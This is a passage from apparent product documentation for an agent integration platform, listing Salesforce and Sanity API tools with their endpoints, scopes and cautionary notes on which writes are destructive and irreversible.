statement separator, and the two query clauses that can take row locks are refused. THIS IS AN AUDIT READ. Listing an org's Apex is the only way to discover what its custom REST endpoints expose, and the only way to see what the invocable-actions list is actually offering. Agentic Fabriq will not run any of it. Reading the Tooling records whose configuration can contain stored credentials — named credentials, external data sources, connected applications, certificates, single sign-on configuration — is refused; everything else is readable. GET /api/v1/tools/salesforce/tooling/query. Scopes: api. salesforce_trigger_process_rules (write, destructive) — DESTRUCTIVE — make the org's existing workflow rules evaluate against specific records, up to 100 at a time. It does not create a rule: an agent may use the account's rules and may never become one. But what the rules DO is decided by whoever wrote them — field updates that overwrite values with no undo, outbound messages, and email alerts to real recipients — and the caller cannot know in advance which applies. 'List workflow rules' exists so they can find out first. POST /api/v1/tools/salesforce/process-rules/trigger. Scopes: api. salesforce_update_favorite (write) — Change one favorite's label or its position in the connected user's list. Personal navigation only; no business data is touched. PATCH /api/v1/tools/salesforce/ui/favorites. Scopes: api. salesforce_update_list_view_preferences (write) — Change the connected user's own column widths, wrapping and left-to-right ordering for one list view. Personal display state only: the list view's DEFINITION — its filters and the query behind it — is not reachable from this action, and changing it for one person changes nothing for anyone else. PATCH /api/v1/tools/salesforce/ui-api/list-preferences. Scopes: api. salesforce_update_record (write, destructive) — DESTRUCTIVE — overwrite named fields on one Salesforce record. Salesforce keeps no general undo: a field's previous value survives only if an administrator enabled field history tracking for that exact field beforehand, and that history is capped and read-only, so for most fields an overwrite is permanent. Only the named fields change; omitted fields are left alone. Salesforce uses the same permission for reading and rewriting, so granting this action separately is the only separation Agentic Fabriq can offer. PATCH /api/v1/tools/salesforce/record. Scopes: api. salesforce_update_records (write, destructive) — DESTRUCTIVE — overwrite fields on up to 200 Salesforce records in one call. The same absent undo as a single update, multiplied: this is the action to reach for after a SOQL query returns a list of ids, so one call can rewrite a hundred customer records. all_or_none defaults to TRUE, which rolls the whole batch back if any record fails; setting it false leaves a partial write that no single call can reverse. One object type per call. PATCH /api/v1/tools/salesforce/records. Scopes: api. salesforce_update_related_list_preferences (write) — Change the connected user's own display preferences for one related list — column widths, text wrapping, ordering, sort. NOT marked destructive, and that is a deliberate distinction rather than an oversight: what changes is one person's view of one related list, no record is touched, nobody else sees the change, and the inverse is this same action with the previous values — which the paired read returns, so the inverse is obtainable rather than merely conceivable. PATCH /api/v1/tools/salesforce/ui-api/related-list-preferences. Scopes: api. salesforce_update_report (write, destructive) — DESTRUCTIVE — replace a SAVED, SHARED report's definition. No record is deleted, and the irreversibility is a different kind: the previous definition is not kept anywhere, there is no version history, and every person in the organisation who opens that report — plus every dashboard component built on it — now sees a different answer to the question they thought they were asking. The whole definition is replaced rather than merged, so send the current one from 'Describe a report' with your changes applied. This action requires an explicit confirmation argument in addition to being granted. Copying the report first is almost always the better move. PATCH /api/v1/tools/salesforce/report. Scopes: api. salesforce_upsert_record (write, destructive) — DESTRUCTIVE — create a record, or OVERWRITE the existing one, matched on a field marked External ID. The external-system-sync primitive: without it, 'create this contact if it does not exist' is a query, a branch and a write with a race in between that agents resolve by guessing. Because it can overwrite, the no-undo warning on updating a record applies unchanged — a previous field value survives only if an administrator enabled field history tracking for that exact field beforehand. Salesforce answers differently for a create and an update, so the caller can tell which happened. PATCH /api/v1/tools/salesforce/record/upsert. Scopes: api. salesforce_upsert_records (write, destructive) — DESTRUCTIVE — create or OVERWRITE up to 200 records in one call, matched on a field marked External ID. The batched sync primitive: one call reconciles a page of an external system into Salesforce. The same absent undo as a single upsert, multiplied by 200. The whole batch rolls back if any record fails unless that is explicitly disabled, and a partial write cannot be reversed by any single call. PATCH /api/v1/tools/salesforce/records/upsert. Scopes: api. ================================================================================ ## Sanity URL: https://www.agenticfabriq.com/integrations/sanity Section: Integrated Tools Sanity — 195 MCP tools Provider key: sanity. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. sanity_delete_access_by_resource_type_by_resource_id_invites_by_invite_id (write, destructive) — Revoke invite via DELETE /v2026-04-27/access/{resourceType}/{resourceId}/invites/{inviteId} DELETE /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/invites/{inviteId}. Scopes: api. sanity_delete_access_by_resource_type_by_resource_id_permissions_by_permission_name (write, destructive) — Delete a permission via DELETE /v2026-04-27/access/{resourceType}/{resourceId}/permissions/{permissionName} DELETE /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/permissions/{permissionName}. Scopes: api. sanity_delete_access_by_resource_type_by_resource_id_robots_by_robot_id (write, destructive) — Revoke robot token and delete robot via DELETE /v2026-04-27/access/{resourceType}/{resourceId}/robots/{robotId} DELETE /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/robots/{robotId}. Scopes: api. sanity_delete_access_by_resource_type_by_resource_id_roles_by_role_name (write, destructive) — Delete a role (Access API) via DELETE /v2026-04-27/access/{resourceType}/{resourceId}/roles/{roleName} DELETE /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/roles/{roleName}. Scopes: api. sanity_delete_access_by_resource_type_by_resource_id_users_by_sanity_user_id (write, destructive) — Remove a user from a resource via DELETE /v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId} DELETE /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId}. Scopes: api. sanity_delete_access_by_resource_type_by_resource_id_users_by_sanity_user_id_roles_by_role_name (write, destructive) — Remove a role from a user in a resource via DELETE /v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId}/roles/{roleName} DELETE /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId}/roles/{roleName}. Scopes: api. sanity_delete_access_by_resource_type_by_resource_id_users_me (write, destructive) — Remove own user from a resource via DELETE /v2026-04-27/access/{resourceType}/{resourceId}/users/me DELETE /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/users/me. Scopes: api. sanity_delete_access_robots_me (write, destructive) — Revoke current robot token via DELETE /v2026-04-27/access/robots/me DELETE /api/v1/sanity/v2026-04-27/access/robots/me. Scopes: api. sanity_delete_applications_by_application_id (write, destructive) — Delete an application via DELETE /vX/applications/{applicationId} DELETE /api/v1/sanity/vX/applications/{applicationId}. Scopes: api. sanity_delete_functions_by_function_id_envvars_by_env_var_key (write, destructive) — Delete an environment variable via DELETE /v2026-04-27/functions/{functionId}/envvars/{envVarKey} DELETE /api/v1/sanity/v2026-04-27/functions/{functionId}/envvars/{envVarKey}. Scopes: api. sanity_delete_functions_by_function_id_logs (write, destructive) — Delete logs for a function via DELETE /v2026-04-27/functions/{functionId}/logs DELETE /api/v1/sanity/v2026-04-27/functions/{functionId}/logs. Scopes: api. sanity_delete_hooks_projects_by_id (write, destructive) — Delete a webhook via DELETE /v2026-04-27/hooks/projects/{projectId}/{id} DELETE /api/v1/sanity/v2026-04-27/hooks/projects/{id}. Scopes: api. sanity_delete_installations_by_installation_id (write, destructive) — Uninstall a singleton application via DELETE /vX/installations/{installationId} DELETE /api/v1/sanity/vX/installations/{installationId}. Scopes: api. sanity_delete_installations_by_installation_id_configs_by_config_id (write, destructive) — Delete an installation configuration via DELETE /vX/installations/{installationId}/configs/{configId} DELETE /api/v1/sanity/vX/installations/{installationId}/configs/{configId}. Scopes: api. sanity_delete_media_libraries_by_library_id_signing_keys_by_key_id (write, destructive) — Delete a signing key via DELETE /v2026-04-27/media-libraries/{libraryId}/signing-keys/{keyId} DELETE /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/signing-keys/{keyId}. Scopes: api. sanity_delete_media_libraries_by_library_id_video_by_video_id_subtitles_by_subtitle_id (write, destructive) — Delete a subtitle via DELETE /v2026-04-27/media-libraries/{libraryId}/video/{videoId}/subtitles/{subtitleId} DELETE /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/video/{videoId}/subtitles/{subtitleId}. Scopes: api. sanity_delete_organizations_by_organization_id_acl_by_sanity_user_id (write, destructive) — Remove a role from an organization member via DELETE /v2026-04-27/organizations/{organizationId}/acl/{sanityUserId} DELETE /api/v1/sanity/v2026-04-27/organizations/{organizationId}/acl/{sanityUserId}. Scopes: api. sanity_delete_organizations_by_organization_id_attribute_definitions_by_key (write, destructive) — Delete attribute definition via DELETE /v2026-04-27/organizations/{organizationId}/attribute-definitions/{key} DELETE /api/v1/sanity/v2026-04-27/organizations/{organizationId}/attribute-definitions/{key}. Scopes: api. sanity_delete_organizations_by_organization_id_providers_by_provider_id_projects_by_project_id_role_mappings (write, destructive) — Delete project role mappings via DELETE /v2026-04-27/organizations/{organizationId}/providers/{providerId}/projects/{projectId}/role-mappings DELETE /api/v1/sanity/v2026-04-27/organizations/{organizationId}/providers/{providerId}/projects/{projectId}/role-mappings. Scopes: api. sanity_delete_organizations_by_organization_id_users_by_sanity_user_id_attributes (write, destructive) — Delete user attributes via DELETE /v2026-04-27/organizations/{organizationId}/users/{sanityUserId}/attributes DELETE /api/v1/sanity/v2026-04-27/organizations/{organizationId}/users/{sanityUserId}/attributes. Scopes: api. sanity_delete_projects_by_project_id (write, destructive) — Delete a project via DELETE /v2026-04-27/projects/{projectId} DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}. Scopes: api. sanity_delete_projects_by_project_id_acl_by_user_id (write, destructive) — Delete a role from a user via DELETE /v2026-04-27/projects/{projectId}/acl/{userId} DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}/acl/{userId}. Scopes: api. sanity_delete_projects_by_project_id_cors_by_id (write, destructive) — Delete a cors entry via DELETE /v2026-04-27/projects/{projectId}/cors/{id} DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}/cors/{id}. Scopes: api. sanity_delete_projects_by_project_id_datasets_by_dataset_name (write, destructive) — Delete a dataset via DELETE /v2026-04-27/projects/{projectId}/datasets/{datasetName} DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}. Scopes: api. sanity_delete_projects_by_project_id_datasets_by_dataset_name_tags_by_tag_identifier (write, destructive) — Remove a tag from a dataset via DELETE /v2026-04-27/projects/{projectId}/datasets/{datasetName}/tags/{tagIdentifier} DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/tags/{tagIdentifier}. Scopes: api. sanity_delete_projects_by_project_id_roles_by_role_name (write, destructive) — Delete a role (project) via DELETE /v2026-04-27/projects/{projectId}/roles/{roleName} DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}/roles/{roleName}. Scopes: api. sanity_delete_projects_by_project_id_tags_by_tag_identifier (write, destructive) — Delete a tag by identifier via DELETE /v2026-04-27/projects/{projectId}/tags/{tagIdentifier} DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}/tags/{tagIdentifier}. Scopes: api. sanity_delete_projects_by_project_id_tokens_by_token_id (write, destructive) — Delete a token for the project via DELETE /v2026-04-27/projects/{projectId}/tokens/{tokenId} DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}/tokens/{tokenId}. Scopes: api. sanity_delete_projects_by_project_id_user_applications (write, destructive) — Delete all user applications via DELETE /v2026-04-27/projects/{projectId}/user-applications DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}/user-applications. Scopes: api. sanity_delete_projects_by_project_id_user_applications_by_user_application_id (write, destructive) — Delete a user application for a project via DELETE /v2026-04-27/projects/{projectId}/user-applications/{userApplicationId} DELETE /api/v1/sanity/v2026-04-27/projects/{projectId}/user-applications/{userApplicationId}. Scopes: api. sanity_delete_user_applications_by_user_application_id (write, destructive) — Delete a user application via DELETE /v2026-04-27/user-applications/{userApplicationId} DELETE /api/v1/sanity/v2026-04-27/user-applications/{userApplicationId}. Scopes: api. sanity_delete_user_applications_by_user_application_id_application_data (write, destructive) — Delete user application data via DELETE /v2026-04-27/user-applications/{userApplicationId}/applicationData DELETE /api/v1/sanity/v2026-04-27/user-applications/{userApplicationId}/applicationData. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_invites (read) — Get invites via GET /v2026-04-27/access/{resourceType}/{resourceId}/invites GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/invites. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_invites_token_by_invite_token (read) — Get invite via GET /v2026-04-27/access/{resourceType}/{resourceId}/invites/token/{inviteToken} GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/invites/token/{inviteToken}. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_invites_token_by_invite_token_eligibility (read) — Check invite eligibility via GET /v2026-04-27/access/{resourceType}/{resourceId}/invites/token/{inviteToken}/eligibility GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/invites/token/{inviteToken}/eligibility. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_permissions (read) — Get permissions via GET /v2026-04-27/access/{resourceType}/{resourceId}/permissions GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/permissions. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_permissions_by_permission_name (read) — Get a permission via GET /v2026-04-27/access/{resourceType}/{resourceId}/permissions/{permissionName} GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/permissions/{permissionName}. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_requests (read) — List all requests for given project organization via GET /v2026-04-27/access/{resourceType}/{resourceId}/requests GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/requests. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_requests_state (read) — Get access request state via GET /v2026-04-27/access/{resourceType}/{resourceId}/requests/state GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/requests/state. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_robots (read) — Get robots with access to this resource via GET /v2026-04-27/access/{resourceType}/{resourceId}/robots GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/robots. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_robots_by_robot_id (read) — Get robot metadata via GET /v2026-04-27/access/{resourceType}/{resourceId}/robots/{robotId} GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/robots/{robotId}. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_roles (read) — List roles assignable to a user on this resource via GET /v2026-04-27/access/{resourceType}/{resourceId}/roles GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/roles. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_roles_by_role_name (read) — Get a role (Access API) via GET /v2026-04-27/access/{resourceType}/{resourceId}/roles/{roleName} GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/roles/{roleName}. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_user_permissions_me (read) — Get current user permissions via GET /v2026-04-27/access/{resourceType}/{resourceId}/user-permissions/me GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/user-permissions/me. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_user_permissions_me_check (read) — Check if current user has specified permissions via GET /v2026-04-27/access/{resourceType}/{resourceId}/user-permissions/me/check GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/user-permissions/me/check. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_users (read) — List all users of a resource and their assigned roles via GET /v2026-04-27/access/{resourceType}/{resourceId}/users GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/users. Scopes: api. sanity_get_access_by_resource_type_by_resource_id_users_by_sanity_user_id (read) — Get user and roles via GET /v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId} GET /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId}. Scopes: api. sanity_get_access_invites_me (read) — Get current user's invites filtered by status resource via GET /v2026-04-27/access/invites/me GET /api/v1/sanity/v2026-04-27/access/invites/me. Scopes: api. sanity_get_access_requests_me (read) — List all request for current user via GET /v2026-04-27/access/requests/me GET /api/v1/sanity/v2026-04-27/access/requests/me. Scopes: api. sanity_get_activity (read) — Get activity log events via GET /v2021-02-01/activity GET /api/v1/sanity/v2021-02-01/activity. Scopes: api. sanity_get_applications (read) — List applications for an organization via GET /vX/applications GET /api/v1/sanity/vX/applications. Scopes: api. sanity_get_applications_by_application_id (read) — Get an application by id via GET /vX/applications/{applicationId} GET /api/v1/sanity/vX/applications/{applicationId}. Scopes: api. sanity_get_applications_by_application_id_access (read) — Get resource access for an application via GET /vX/applications/{applicationId}/access GET /api/v1/sanity/vX/applications/{applicationId}/access. Scopes: api. sanity_get_applications_by_application_id_deployments (read) — List deployments for an application via GET /vX/applications/{applicationId}/deployments GET /api/v1/sanity/vX/applications/{applicationId}/deployments. Scopes: api. sanity_get_applications_by_application_id_interfaces (read) — Get interfaces by type for an application via GET /vX/applications/{applicationId}/interfaces GET /api/v1/sanity/vX/applications/{applicationId}/interfaces. Scopes: api. sanity_get_applications_by_application_id_workspaces (read) — Get workspaces for an application via GET /vX/applications/{applicationId}/workspaces GET /api/v1/sanity/vX/applications/{applicationId}/workspaces. Scopes: api. sanity_get_data_doc_by_document_id (read) — Get one or more documents via GET /v2026-04-27/data/doc/{dataset}/{documentId} GET /api/v1/sanity/v2026-04-27/data/doc/{documentId}. Scopes: api. sanity_get_data_history_documents_by_document_id (read) — Get a document revision via GET /v2026-04-27/data/history/{dataset}/documents/{documentId} GET /api/v1/sanity/v2026-04-27/data/history/documents/{documentId}. Scopes: api. sanity_get_data_history_transactions (read) — Get all transactions via GET /v2026-04-27/data/history/{dataset}/transactions GET /api/v1/sanity/v2026-04-27/data/history/transactions. Scopes: api. sanity_get_data_history_transactions_by_document_ids (read) — Get the transactions for a list of documents via GET /v2026-04-27/data/history/{dataset}/transactions/{documentIds} GET /api/v1/sanity/v2026-04-27/data/history/transactions/{documentIds}. Scopes: api. sanity_get_data_query (read) — Query using get method via GET /v2026-04-27/data/query/{dataset} GET /api/v1/sanity/v2026-04-27/data/query. Scopes: api. sanity_get_functions (read) — List functions via GET /v2026-04-27/functions GET /api/v1/sanity/v2026-04-27/functions. Scopes: api. sanity_get_functions_by_function_id (read) — Read a function via GET /v2026-04-27/functions/{functionId} GET /api/v1/sanity/v2026-04-27/functions/{functionId}. Scopes: api. sanity_get_functions_by_function_id_envvars (read) — List environment variable keys via GET /v2026-04-27/functions/{functionId}/envvars GET /api/v1/sanity/v2026-04-27/functions/{functionId}/envvars. Scopes: api. sanity_get_functions_by_function_id_logs (read) — Retrieve function logs via GET /v2026-04-27/functions/{functionId}/logs GET /api/v1/sanity/v2026-04-27/functions/{functionId}/logs. Scopes: api. sanity_get_hooks_by_id_messages (read) — List webhook messages via GET /v2026-04-27/hooks/{id}/messages GET /api/v1/sanity/v2026-04-27/hooks/{id}/messages. Scopes: api. sanity_get_hooks_projects (read) — List all webhooks via GET /v2026-04-27/hooks/projects/{projectId} GET /api/v1/sanity/v2026-04-27/hooks/projects. Scopes: api. sanity_get_hooks_projects_by_id (read) — Get a webhook by id via GET /v2026-04-27/hooks/projects/{projectId}/{id} GET /api/v1/sanity/v2026-04-27/hooks/projects/{id}. Scopes: api. sanity_get_hooks_projects_by_id_attempts (read) — List webhook attempts via GET /v2026-04-27/hooks/projects/{projectId}/{id}/attempts GET /api/v1/sanity/v2026-04-27/hooks/projects/{id}/attempts. Scopes: api. sanity_get_installations (read) — List installations for an organization via GET /vX/installations GET /api/v1/sanity/vX/installations. Scopes: api. sanity_get_installations_by_installation_id (read) — Get an installation by id via GET /vX/installations/{installationId} GET /api/v1/sanity/vX/installations/{installationId}. Scopes: api. sanity_get_installations_by_installation_id_access (read) — Get resource access for an installation via GET /vX/installations/{installationId}/access GET /api/v1/sanity/vX/installations/{installationId}/access. Scopes: api. sanity_get_installations_by_installation_id_configs (read) — List configs for an installation via GET /vX/installations/{installationId}/configs GET /api/v1/sanity/vX/installations/{installationId}/configs. Scopes: api. sanity_get_installations_by_installation_id_interfaces (read) — Get interfaces by type for an installation via GET /vX/installations/{installationId}/interfaces GET /api/v1/sanity/vX/installations/{installationId}/interfaces. Scopes: api. sanity_get_installations_catalog (read) — List the singleton catalog for an organization via GET /vX/installations/catalog GET /api/v1/sanity/vX/installations/catalog. Scopes: api. sanity_get_jobs_by_job_id (read) — Job status via GET /v2026-04-27/jobs/{jobId} GET /api/v1/sanity/v2026-04-27/jobs/{jobId}. Scopes: api. sanity_get_media_libraries_by_library_id_query (read) — Query media in the media library via GET /v2026-04-27/media-libraries/{libraryId}/query GET /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/query. Scopes: api. sanity_get_media_libraries_by_library_id_references_documents_by_asset_id_to (read) — List references to an asset via GET /v2026-04-27/media-libraries/{libraryId}/references/documents/{assetId}/to GET /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/references/documents/{assetId}/to. Scopes: api. sanity_get_media_libraries_by_library_id_refsearch (read) — Search for assets and references via GET /v2026-04-27/media-libraries/{libraryId}/refsearch GET /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/refsearch. Scopes: api. sanity_get_media_libraries_by_library_id_signing_keys (read) — List all signing keys via GET /v2026-04-27/media-libraries/{libraryId}/signing-keys GET /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/signing-keys. Scopes: api. sanity_get_media_libraries_by_library_id_signing_keys_by_key_id (read) — Get a specific signing key via GET /v2026-04-27/media-libraries/{libraryId}/signing-keys/{keyId} GET /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/signing-keys/{keyId}. Scopes: api. sanity_get_media_libraries_by_library_id_video_by_video_id_playback_info (read) — Get video playback information via GET /v2026-04-27/media-libraries/{libraryId}/video/{videoId}/playback-info GET /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/video/{videoId}/playback-info. Scopes: api. sanity_get_organizations_by_organization_id_acl (read) — List organization members via GET /v2026-04-27/organizations/{organizationId}/acl GET /api/v1/sanity/v2026-04-27/organizations/{organizationId}/acl. Scopes: api. sanity_get_organizations_by_organization_id_acl_by_sanity_user_id (read) — Get the roles of a single organization member via GET /v2026-04-27/organizations/{organizationId}/acl/{sanityUserId} GET /api/v1/sanity/v2026-04-27/organizations/{organizationId}/acl/{sanityUserId}. Scopes: api. sanity_get_organizations_by_organization_id_attribute_definitions (read) — List attribute definitions via GET /v2026-04-27/organizations/{organizationId}/attribute-definitions GET /api/v1/sanity/v2026-04-27/organizations/{organizationId}/attribute-definitions. Scopes: api. sanity_get_organizations_by_organization_id_grants (read) — Get all grants for current user via GET /v2026-04-27/organizations/{organizationId}/grants GET /api/v1/sanity/v2026-04-27/organizations/{organizationId}/grants. Scopes: api. sanity_get_organizations_by_organization_id_users_by_sanity_user_id_attributes (read) — Get user attributes via GET /v2026-04-27/organizations/{organizationId}/users/{sanityUserId}/attributes GET /api/v1/sanity/v2026-04-27/organizations/{organizationId}/users/{sanityUserId}/attributes. Scopes: api. sanity_get_organizations_by_organization_id_users_me_attributes (read) — Get my attributes via GET /v2026-04-27/organizations/{organizationId}/users/me/attributes GET /api/v1/sanity/v2026-04-27/organizations/{organizationId}/users/me/attributes. Scopes: api. sanity_get_projects (read) — List all projects via GET /v2026-04-27/projects GET /api/v1/sanity/v2026-04-27/projects. Scopes: api. sanity_get_projects_by_project_id (read) — Retrieve a project via GET /v2026-04-27/projects/{projectId} GET /api/v1/sanity/v2026-04-27/projects/{projectId}. Scopes: api. sanity_get_projects_by_project_id_acl (read) — List users with roles via GET /v2026-04-27/projects/{projectId}/acl GET /api/v1/sanity/v2026-04-27/projects/{projectId}/acl. Scopes: api. sanity_get_projects_by_project_id_acl_by_user_id (read) — Get a user's roles via GET /v2026-04-27/projects/{projectId}/acl/{userId} GET /api/v1/sanity/v2026-04-27/projects/{projectId}/acl/{userId}. Scopes: api. sanity_get_projects_by_project_id_cors (read) — List all cors entries via GET /v2026-04-27/projects/{projectId}/cors GET /api/v1/sanity/v2026-04-27/projects/{projectId}/cors. Scopes: api. sanity_get_projects_by_project_id_datasets (read) — List all datasets available to the project via GET /v2026-04-27/projects/{projectId}/datasets GET /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets. Scopes: api. sanity_get_projects_by_project_id_datasets_by_dataset_name_acl (read) — Get dataset acl via GET /v2026-04-27/projects/{projectId}/datasets/{datasetName}/acl GET /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/acl. Scopes: api. sanity_get_projects_by_project_id_datasets_by_dataset_name_backups (read) — List backups via GET /v2026-04-27/projects/{projectId}/datasets/{datasetName}/backups GET /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/backups. Scopes: api. sanity_get_projects_by_project_id_datasets_by_dataset_name_backups_by_backup_id (read) — Get a backup via GET /v2026-04-27/projects/{projectId}/datasets/{datasetName}/backups/{backupId} GET /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/backups/{backupId}. Scopes: api. sanity_get_projects_by_project_id_datasets_by_dataset_name_grants (read) — Get dataset grants via GET /v2026-04-27/projects/{projectId}/datasets/{datasetName}/grants GET /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/grants. Scopes: api. sanity_get_projects_by_project_id_datasets_by_dataset_name_settings_embeddings (read) — Get embeddings index settings for a dataset via GET /v2026-04-27/projects/{projectId}/datasets/{datasetName}/settings/embeddings GET /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/settings/embeddings. Scopes: api. sanity_get_projects_by_project_id_datasets_by_dataset_name_tags (read) — List tags for a dataset via GET /v2026-04-27/projects/{projectId}/datasets/{datasetName}/tags GET /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/tags. Scopes: api. sanity_get_projects_by_project_id_features (read) — List active features for the project via GET /v2026-04-27/projects/{projectId}/features GET /api/v1/sanity/v2026-04-27/projects/{projectId}/features. Scopes: api. sanity_get_projects_by_project_id_grants (read) — List all user grants via GET /v2026-04-27/projects/{projectId}/grants GET /api/v1/sanity/v2026-04-27/projects/{projectId}/grants. Scopes: api. sanity_get_projects_by_project_id_permission_resource_schemas (read) — List permission resources via GET /v2026-04-27/projects/{projectId}/permissionResourceSchemas GET /api/v1/sanity/v2026-04-27/projects/{projectId}/permissionResourceSchemas. Scopes: api. sanity_get_projects_by_project_id_permissions (read) — List permissions for the project via GET /v2026-04-27/projects/{projectId}/permissions GET /api/v1/sanity/v2026-04-27/projects/{projectId}/permissions. Scopes: api. sanity_get_projects_by_project_id_roles (read) — List all roles via GET /v2026-04-27/projects/{projectId}/roles GET /api/v1/sanity/v2026-04-27/projects/{projectId}/roles. Scopes: api. sanity_get_projects_by_project_id_roles_by_role_name (read) — Get a role (project) via GET /v2026-04-27/projects/{projectId}/roles/{roleName} GET /api/v1/sanity/v2026-04-27/projects/{projectId}/roles/{roleName}. Scopes: api. sanity_get_projects_by_project_id_tokens (read) — List tokens for the project via GET /v2026-04-27/projects/{projectId}/tokens GET /api/v1/sanity/v2026-04-27/projects/{projectId}/tokens. Scopes: api. sanity_get_projects_by_project_id_user_applications (read) — Get all user applications for a project via GET /v2026-04-27/projects/{projectId}/user-applications GET /api/v1/sanity/v2026-04-27/projects/{projectId}/user-applications. Scopes: api. sanity_get_projects_by_project_id_user_applications_by_user_application_id (read) — Get a user application for a project via GET /v2026-04-27/projects/{projectId}/user-applications/{userApplicationId} GET /api/v1/sanity/v2026-04-27/projects/{projectId}/user-applications/{userApplicationId}. Scopes: api. sanity_get_projects_by_project_id_user_applications_by_user_application_id_deployments (read) — Get user application deployments for a project via GET /v2026-04-27/projects/{projectId}/user-applications/{userApplicationId}/deployments GET /api/v1/sanity/v2026-04-27/projects/{projectId}/user-applications/{userApplicationId}/deployments. Scopes: api. sanity_get_projects_by_project_id_users_by_user_id (read) — Retrieve a user via GET /v2026-04-27/projects/{projectId}/users/{userId} GET /api/v1/sanity/v2026-04-27/projects/{projectId}/users/{userId}. Scopes: api. sanity_get_schedules (read) — List schedules via GET /v2026-04-27/schedules/{projectId}/{dataset} GET /api/v1/sanity/v2026-04-27/schedules. Scopes: api. sanity_get_schedules_by_schedule_id (read) — Get schedule by id via GET /v2026-04-27/schedules/{projectId}/{dataset}/{scheduleId} GET /api/v1/sanity/v2026-04-27/schedules/{scheduleId}. Scopes: api. sanity_get_studiohosts_by_app_host_availability (read) — Get apphost availability via GET /v2026-04-27/studiohosts/{appHost}/availability GET /api/v1/sanity/v2026-04-27/studiohosts/{appHost}/availability. Scopes: api. sanity_get_user_applications (read) — Get all user applications via GET /v2026-04-27/user-applications GET /api/v1/sanity/v2026-04-27/user-applications. Scopes: api. sanity_get_user_applications_auto_update_version_by_user_application_id (read) — Get studio auto updating version status via GET /v2026-04-27/user-applications/auto-update-version/{userApplicationId} GET /api/v1/sanity/v2026-04-27/user-applications/auto-update-version/{userApplicationId}. Scopes: api. sanity_get_user_applications_by_user_application_id (read) — Get a user application via GET /v2026-04-27/user-applications/{userApplicationId} GET /api/v1/sanity/v2026-04-27/user-applications/{userApplicationId}. Scopes: api. sanity_get_user_applications_by_user_application_id_deployments (read) — Get user application deployments via GET /v2026-04-27/user-applications/{userApplicationId}/deployments GET /api/v1/sanity/v2026-04-27/user-applications/{userApplicationId}/deployments. Scopes: api. sanity_get_user_applications_by_user_application_id_workspaces (read) — Get workspaces for a user application via GET /v2026-04-27/user-applications/{userApplicationId}/workspaces GET /api/v1/sanity/v2026-04-27/user-applications/{userApplicationId}/workspaces. Scopes: api. sanity_get_user_applications_resolve_application (read) — Get application by host via GET 